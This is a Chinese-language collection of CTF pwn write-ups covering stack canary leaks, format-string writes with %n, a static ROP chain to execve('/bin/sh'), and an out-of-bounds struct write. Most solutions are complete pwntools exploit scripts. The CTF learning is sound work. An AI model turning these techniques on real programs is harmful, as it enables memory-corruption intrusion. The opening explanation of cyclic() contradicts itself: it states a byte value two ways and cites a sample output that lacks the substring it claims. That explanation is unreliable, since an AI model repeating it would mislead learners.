    • 若长度 n​ 满足 n % 4 == 3​,则最后一个字符通常是 'g'​(因为 'gaaa'​ 是第 7 组,'g'​ 是第 7 组的第一个字符)。
    • 其他长度可能以任意字母结尾。

2. 你的代码中的情况

你的脚本中使用了 cyclic(25)​:

python

1
2
io.send(cyclic(25))      # 25 % 4 = 1,所以最后一个字符是 'a'(第25字节是 'aaaabaaa...aaaa' 的第1字节)
io.recvuntil(b'g') # 等待输出中出现 'g'(可能是 canary 泄露前的某个固定字符)
  • cyclic(25)​ 的最后一个字符是 'a'​(因为 25 ÷ 4 = 6 余 1,第 25 字节是第 7 组的第 1 字节 'g'​ 的前一个字符)。
  • recvuntil(b'g')​ 的目的是过滤输出中 canary 之前的无关字符(例如程序打印的 "Canary: 0x..."​ 中的 'g'​),而非依赖 cyclic​ 的结尾。

3. 为什么 recvuntil(b'g')能工作?

  • 程序在打印 canary 时可能会输出类似格式。

    1
    Output: ...Error: Invalid input 'aaaagaaa'\nCanary: 0x7f123456
    • 'g'​ 是 cyclic​ 字符串中间的某个字符(如 'aaaagaaa'​),而非结尾。
  • recvuntil(b'g')​ 会持续读取数据,直到遇到第一个 'g' ​,从而对齐到 canary 泄露位置。


4. 关键结论

  • cyclic不保证以 'g'结尾,但它的模式中必然包含 'g'​(因为字母表循环)。

  • recvuntil(b'g')​ 的目的是定位 canary 前的固定输出,而非匹配 cyclic​ 的结尾。

  • 若想精确控制结尾字符,可以手动构造字符串:
    python

    1
    payload = cyclic(24) + b'g'  # 强制以 'g' 结尾

5. 验证方法

你可以直接打印 cyclic(25)​ 观察结果:

python

1
2
from pwn import *
print(cyclic(25)) # 输出:b'aaaabaaacaaadaaaeaaafaaa'
  • 输出为 aaaabaaacaaadaaaeaaafaaa​,确实不以 'g'​ 结尾,但内部包含 'gaaa'​ 子串。

总结

  • cyclic不固定以 'g'结尾,但它的模式中一定会出现 'g'​。
  • recvuntil(b'g')的作用是同步 I/O,而非依赖 cyclic​ 的结尾。
  • 若需对齐 payload,建议结合上下文动态调整接收逻辑(如 recvuntil(b'Canary: ')​)

这段代码是一个 CTF 中常见的 PWN 题目的主函数逻辑,包含了输入验证、canary 检查、防护机制,以及最终可控的缓冲区溢出点。我们逐部分来分析:


🧠 全局变量和栈变量说明

1
2
3
4
5
6
int v6;                   // 用户输入的密码
unsigned int v8; // 正确密码(arc4random生成)
__int64 v9[2]; // 存储用户输入的两个值(后续检查)
__int64 v10; // 用于canary机制验证的标志
char buf[24]; // 输入缓冲区(vulnerable)
unsigned __int64 v12; // 栈 canary,用于栈溢出保护

🔒 栈保护初始化

1
v12 = __readfsqword(0x28u);
  • 读取 FS 段寄存器的 offset 0x28,对应 x86_64 的栈 canary。

🔐 生成初始 canary 值

1
2
3
v3 = arc4random(argc, argv, envp);
v4 = v3 - 0xFEFFFFFFFFFFFFLL * ((__int64)((0x4040404040404081LL * (unsigned __int128)v3) >> 64) >> 54);
v9[0] = v4 + 0x1000000000000LL;
  • 利用 arc4random​ 加上一些看似复杂的混淆计算,生成一个隐藏的“笼子锁” v9[0]​。
  • cage_bak = v9[0]​ 后续用于校验。

🧪 输入密码环节

1
v8 = arc4random(...) % 0x2345 + 16768186;
  • 生成一个随机密码(值在 16768186 ~ 16770552​ 范围)。
1
while ( (unsigned int)__isoc99_scanf("%u", &v6) == -1 || v8 != v6 )
  • 要求用户输入正确密码,否则无限循环。

🗝️ 第二道锁:cage in cage

1
2
3
4
5
6
for ( i = 0; i <= 2; ++i )
{
__isoc99_scanf("%zu", &v9[i]);
if ( !v9[i] )
break;
}
  • 用户可以输入最多两个值(写入 v9[0], v9[1]),输入 0​ 则中断。
  • 之后进行两次检查:

🔐 Canary 机制

1
if ( v10 != 195874819 )
  • v10​ 初始值为 182271573​,若其在执行后被篡改为非 195874819​,说明栈内容被修改(可能是溢出),程序退出。
  • 这是一个“伪 canary 检查” :只要你能控制 v10​ 为 195874819​,你就绕过了检查。

📦 Cage 检查

1
if ( v9[0] != cage_bak )
  • 验证 v9[0]​ 是否和原先的 cage_bak​ 一致,如果不一致,也会退出。

💥 漏洞点出现

1
2
3
read(0, buf, 0x30uLL);
puts(buf);
read(0, buf, 0x30uLL);
  • 这里有两个关键点:

    1. 溢出漏洞buf​ 是 24 字节,而读入了 0x30(48 字节),存在 24 字节的栈溢出空间
    2. 信息泄露puts(buf)​ 会将你输入的内容打印出来,如果你溢出控制到了返回地址附近并构造格式化字符串或 ROP,也许可以泄露 libc。

📌 总结

该程序的结构如下:

  1. 第一道验证:输入正确的密码(可爆破或通过信息泄露推测)。

  2. 第二道验证

    • 保持 v10 == 195874819​(绕过canary检查)
    • 保持 v9[0] == cage_bak​(需要回显或推测计算方式)
  3. 溢出点:最后的 read(buf, 0x30)​ 溢出点,可以覆盖返回地址并执行攻击(ROP / shellcode 等)。


🛠️ 你可以做什么:

  • 利用 puts(buf)​ 泄露 libc 地址。
  • 在第二次 read​ 时进行栈溢出,执行攻击。
  • 关键是绕过 v10​ 和 v9[0]​ 的两个检查点。

题目:LoginSystem

一个简单的登陆系统,但是为什么要输出用户名?

咱们直接看关键函数

Snipaste_2025-04-18_17-37-24

两次read(),都无法溢出,连 rbp 都碰不到,连栈迁移都别想,但可以格式化字符串,还有system(/bin/sh)存在,。看看程序保护?

Snipaste_2025-04-18_19-16-15

栈溢出不现实,还是选择利用格式化字符串泄露 password 的值,当然也可以利用%n,修改 password 的值,那然我们看看password 。

Snipaste_2025-04-18_21-51-35

password位于.bss 段上,不在栈上,属于全局变量。

Snipaste_2025-04-18_21-56-51

利用%p,泄露栈上参数的数据,我们读入数据到 buf ,则buf是第8个参数,我们想要写入 password ,就要将 password 的地址写在后面,写入第9个参数,然后修改第9个参数的值。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process('./pwn')
#io = remote("192.168.75.1", 52470)
password = 0x404050
payload = b"%9$ln".ljust(8, b'\x00') + p64(password)
gdb.attach(io)
io.sendlineafter("username:", payload)
io.sendlineafter("password:", b'\x00'*8)

io.interactive()

通过栈上格式化字符串漏洞覆盖password全局变量,板子题。要注意的是格式化字符串应该在前面,而地址应该在后面,不然格式化字符串会被\x00截断。

1
payload = b"%9$ln".ljust(8, b'\x00') + p64(password)

将%9$ln补充为8字节,将第8个参数占满(在x86-64的架构中,一个参数占8个字节),后面的 password 的地址,只能进入第9个参数的位置,然后我们在向第9个参数的值(是一个地址),所指的地址里写入 0 。

Snipaste_2025-04-18_22-30-00

讲解:printf("Hello%8$n")

1. 基本解释

  • %n​ 的作用是 将已输出的字符数写入指定地址(需要一个指针参数)。
  • %8$n​ 中的 8$​ 表示 直接访问第8个参数(而不是按顺序使用下一个参数)。

所以,printf("Hello%8$n")​ 的意思是:

  • 输出 "Hello"​(5个字符)
  • 然后使用 %8$n尝试将数字 5写入栈上第8个参数指向的地址

2. 为什么这样写是危险的?

(1)缺少参数

printf("Hello%8$n")​ 只提供了格式化字符串,但没有提供额外的参数(如 %n​ 需要的指针地址)。
此时,printf​ 会 直接从栈上读取第8个参数的位置,并尝试将其作为指针写入 5​(”Hello”的长度)。

(2)可能导致崩溃或任意内存写入

  • 如果栈上第8个位置恰好是一个可写的内存地址,%8$n​ 会向该地址写入 5​,可能导致 数据篡改
  • 如果第8个位置是无效地址(如 NULL​ 或不可写内存),程序会 崩溃(Segmentation Fault)

NX_on!

解题思路

题目存在Canary保护,可以通过覆盖Canary的最低一位的’\x00’来使得puts()将Canary的值打印出来,然后在ida 里 Shift+F12 查看程序的字符串可以发现有/bin/shsystem,由于是静态编译的程序,可以打系统调用,主要是接下来长度检验

1
2
3
4
5
6
7
8
_isoc99_scanf((unsigned int)"%d", (unsigned int)&n16, v0, v1, v2, v3);
if ( n16 )
{
if ( n16 > 16 )
puts("Number out of range!");
else
j_memcpy(p_buf2, &buf2, n16);
}

我尝试的是**-1**,但不对,看了官方解答后,才明白

-1为什么不行

先说-1为什么不行吧,运行后发现它出错是因为RIP被置为0了(无效的地址)。 进gdb调试一下,发现问题出在调用memcpy()函数之后栈顶返回地址被置为0了,因此在执行ret时会直接报段错误。 问题指令:

1
► 0x4482b7 <__memmove_avx_unaligned_erms+567>    vmovdqa ymmword ptr [rcx + 0x60], ymm1

在执行这条指令之前,rsp为:

1
>RSP 0x7ffdb7f2e018 —▸ 0x401cae (func+308) ◂— jmp 0x401cbf

执行之后:

1
>RSP 0x7ffdb7f2e018 ◂— 0

这里是因为RCX寄存器中的地址太靠近栈顶了。

1
2
3
4
>pwndbg> p $rcx + 0x60
>$1 = 140732357202144
>pwndbg> p $rsp - $1
>$2 = (void *) 0x18

注意 : ymmword 大小为32字节,因此显然这里往高地址复制的时候rsp指向的返回地址被覆盖率 RCX在执行到这步之前进行了多次改变,受到输入数值大小的影响。

-2147483528为什么不行

至于-2147483528为什么不行,则是另一个原因:

1
>► 0x44828c <__memmove_avx_unaligned_erms+524>    vmovdqu ymm8, ymmword ptr [rsi + rdx - 0x20]

如你先前所说,程序卡在这里。

1
2
>pwndbg> p/d $rdx
>$4 = -2147483528

rdx中存有你输入的size

1
2
3
4
>pwndbg> p/x $rsi + $rdx - 0x20
>$2 = 0xffffffff804e5bb8
>pwndbg> x/x $2
>0xffffffff804e5bb8: Cannot access memory at address 0xffffffff804e5bb8

从这个结果来看程序显然无法访问到 [rsi + rdx - 0x20],那么试图从这里加载数据自然会导致错误。

总的来讲,其实对memcpy()传入负值本就会导致非预期的行为,其内部的较复杂指令实现会导致不能很好掌控输入负值后的结果

—–官方题解—–

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("192.168.???.?", ?????)
#io = process('./pwn')
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

pad = b'a'*(0x18) + b'b'
ru(b'id?\n')
s(pad)
ru(b'b')
canary = u64(r(7).rjust(8, b'\x00'))
ls(hex(canary))
rl()
pop_rax_rdx_rbx = 0x49d12a
pop_rdi = 0x40239f
pop_rsi = 0x40a40e
syscall = 0x402154
bin_sh = 0x4e3950
payload = b'a'*(0x18) + p64(canary) + b'a'*8 + p64(pop_rdi) + p64(bin_sh) + p64(pop_rsi) + p64(0) + p64(pop_rax_rdx_rbx) + p64(0x3B) + p64(0)*2 + p64(syscall)
#debug()
s(payload)
ru(b"quit")
sl(b'-1111')
ia()

Moeplane

解题思路

附件图片给出的结构体如下:

1
2
3
4
5
6
7
8
/* Size: 24 bytes, alignment 8 bytes */
struct airplane {
/* It's a */ long flight;
int altitude;
int velocity;
int angel;
unsigned char engine_thrust[ENGINES];
} moeplane;
  • 结构体数据存储与空间对齐
  • 数组越界
  • 小端序

连接后,可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
╭─icyice@icyice-virtual-machine ~/Desktop/MoeCTF/MoeCTF 2024/WhereIsFmt 
╰─$ nc 192.168.242.1 58792 130 ↵
The plane is about to crash. Do something!
[CTR] Fly to airport at 69259509840.
[Meters]
Altitude: 10000
Velocity: 300
Bank angle: 0
Thrust: engine#1: 20; engine#2: 20; engine#3: 20; engine#4: 20;
[Navigator]
Flight: 0
Target: 69259509840
[MoePlane Console]
0. Check the meters.
1. Adjust engine thrust.
2. Adjust trim.
3. Win the game!
Make your choice:
>

这些输出什么意思呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
背景:飞机即将坠毁,你需要采取行动。

目标:将飞机飞到机场(地址 69259509840)。

控制台选项:

0. Check the meters:查看当前仪表数据
1. Adjust engine thrust:调整引擎推力(有4个引擎)。
2. Adjust trim:调整配平。
3. Win the game!:尝试获胜(但需要满足条件才能成功)

仪表盘信息:
高度(Altitude):10000
速度(Velocity):300
倾角(Bank angle):0(水平飞行)
推力(Thrust):所有引擎均为20

题目存在负数前溢出

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
p = remote("192.168.242.1", 58792)
p.recvuntil(b"Target: ")
target = eval(p.recvline()[:-1].decode())
p.recv()
p.info(hex(target))
for i in range(5):
p.sendline(b"1")
p.recv()
p.sendline(str(-19 + i))
p.recv()
p.sendline(str((target >> (i * 8)) % 0x100))
print(hex((target >> (i * 8)) % 0x100))
p.interactive()

where_is_fmt

解题思路:

非栈上的格式化字符串漏洞,可以看到题目提示了栈上有些比较长的链子,可以想一下怎么利用这些链子

我们可以利用%kc%k$hn来修改栈上的指针的内容

比如 这种情况:

1
2
3
4
5
6
7
8
9
rbp:           addr_1 -> addr2

rbp+8: return_addr -> main+0x38

rbp+?: addr_A -> addr_B -> addr_C

.....

rbp+??: addr_B - > addr_C

addr_A -> addr_B -> addr_C这种就是一个长链,我们假设addr_A是printf的第 x 个参数,addr_B是printf的第 y 个参数 ,那我们就可以通过%k$c%x$hn来修改addr_C为其他地址 (比如返回地址),即为addr_A -> addr_B -> return_addr

就会变成:

1
2
3
4
5
6
7
8
9
rbp:           addr_1 -> addr2

rbp+8: return_addr -> main+0x38

rbp+?: addr_A -> addr_B -> return_addr -> main+0x38

.....

rbp+??: addr_B - > return_addr -> main+0x38

在这之后我们就可以通过%k$c%y$hn来修改main+0x38为其他地址 (比如backdoor()地址),即为 addr_B -> return_addr -> backdoor_addr,这就会变成:

1
2
3
4
5
6
7
8
9
rbp:           addr_1 -> addr2

rbp+8: return_addr -> backdoor_addr

rbp+?: addr_A -> addr_B -> return_addr -> backdoor_addr

.....

rbp+??: addr_B - > return_addr -> backdoor_addr

这样就可以完成一个简单的ret2text。这种思想的核心就是 利用%k$c%k$hn来修改栈上(addr_A)的指针(addr_B)的内容(addr_C)

在本题中的变化过程就是

第一次利用格式化字符串漏洞得到stack后

第二次利用格式化字符串漏洞后,第三次利用格式化字符串漏洞前

第三次利用格式化字符串漏洞后

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./pwn")
#io = remote("192.168.242.1", 58111)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
sla(b"You have 3 chances.\n", b"%8$p")
stack = int(rl(), 16) - 8
ls('stack:' + hex(stack))
payload = (f"%{str(stack & 0xffff)}c%15$hn").encode()
#debug()
sla(b"chances.\n", payload)
backdoor=0x401202
payload = (f"%{str(backdoor & 0xff)}c%45$hhn").encode()
sla(b"chances.\n", payload)
ia()